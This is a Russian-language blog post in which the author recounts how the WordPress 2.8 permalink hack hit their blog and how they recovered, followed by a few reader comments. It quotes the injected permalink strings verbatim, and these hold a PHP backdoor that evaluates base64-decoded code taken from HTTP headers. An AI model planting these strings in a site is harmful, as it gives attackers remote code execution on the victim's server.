Скупой платит дважды, а ленивый работает в два раза больше. Об этом я вспомнил, когда мой блог стал очередной жертвой уязвимости в движке WordPress 2.8, устраненной только в версии WordPress 2.8.4. Благодаря этой дыре можно удаленно изменить пароль администратора блога WordPress, получив тем самым полный доступ к админке блога. Как что не стоит лениться обновлять движок до последней версии – спокойнее спаться будет.
В принципе, скрипт, получивший доступ к админке моего блога, не сделал ничего страшного. Или просто не успел сделать. Ко всем ссылкам на статьи блога дописывалось что-то вроде
%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
и
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%
Этот код делал почти все ссылки блога мертвыми, переходы на посты не работали. Я перезалил шаблоны из последнего бэкапа, обновил движок WordPress, но ссылки не стали прежними. Файл .htaccess тоже был в порядке. Подозрение, что взломан хостинг, тоже не оправдались. И только просматривая параметры постоянных ссылок (Администрирование->Параметры->Постоянные ссылки) блога, я с удивлением заметил следующее:
Значение параметра постоянной ссылки было записано в базу данных, шаблоны при этом не менялись. И записана ломаная ссылка была благодаря доступу вредоносного скрипта к админпанели блога. Т.е. у меня либо появился неучтенный админ, либо к одной из моих учетных записей с правами админа подобрали пароль. На странице Администрирование->Пользователи оказалось, что у меня 3 аккаунта с правами администратора, хотя должно было быть только 2. Третий админ был скрытым и был создан скриптом, взломавшим WordPress:
Как я восстановил свой взломанный блог WordPress 2.8:
- Обновил движок блога до последней версии (на данный момент WordPress 2.8.4).
- Через Администрирование->Параметры->Постоянные ссылки вернул формат постоянных ссылок к старому (у меня /%year%/%postname%/).
- Через phpMyAdmin удалил из базы данных блога таблицу пользоваталей (по умолчанию ее имя wp_users). Ссылку на phpMyAdmin, а также логин и пароль для своего сайта спрашивайте у свого хостера.
- Нашел старый бэкап блога, удалил их него все таблицы, кроме нужной мне wp_users. Импортировал этот урезанный бэкап опять же через phpMyAdmin. Неучтенный администратор пропал.
- Учетной записи admin своего блога присвоил самый низкий уровень доступа (подписчик), лишив его возможности лазить по админке и сменил ему пароль. Поудалял всякие странные и порнушные аккаунты – на всякий случай ;).
- Ограничил через .htaccess количество IP, которые могут открыть админку блога.
Как видите, ничего сложного. Но затем я решил заняться безопасностью блога, настроить плагин WP Security Scan… и серьезно вляпался. Я недавно сменил хостинг и, опять же, поленился проверить, все ли правильно работает. Оказалось, что установленный ранее плагин WordPress Database Backup, отвечающий за автоматическое ежедневное создание и пересылку на специально заведенный e-mail бэкапов базы данных блога, создает не совсем свежие базы :(. Угробив при настройке плагина безопасности актуальную базу банных блога, я не смог восстановить данные за последний месяц. В результате было потеряно 3 поста (отпуск был, к счастью), страницы с предложением разработки баннеров и создания дизайна сайта, несколько десятков комментариев (за что прошу прощения у своих читателей). Что смог – восстановил вручную, но времени ушло много. Зато получил еще один кусочек бесценного опыта (см. первое предложение поста).
Я вот хотел поинтересоваться. Новая верися нормально работает? а то я поставил у себя на блоге, так теперь плююсь. Мало того тормозная какая-то, так еще и постоянно требует вводить пораль для входа в админпанель. после каждого действия а вдминке требует..
Я никакой разницы по сравнению с предыдущей версией WordPress не заметил. Судя по описанию, кроме латания дыры, ничего и не меняли
Ужас! Я только сегодня узнал что все WP версии более ранние чем 2.8.4. имеют эту уязвимость! А можете посоветовать где скачать книгу по WordPress в формате PDF чтобы там были описания плагинов, конфигурации, советов по безопасности, оптимизации и т.д.?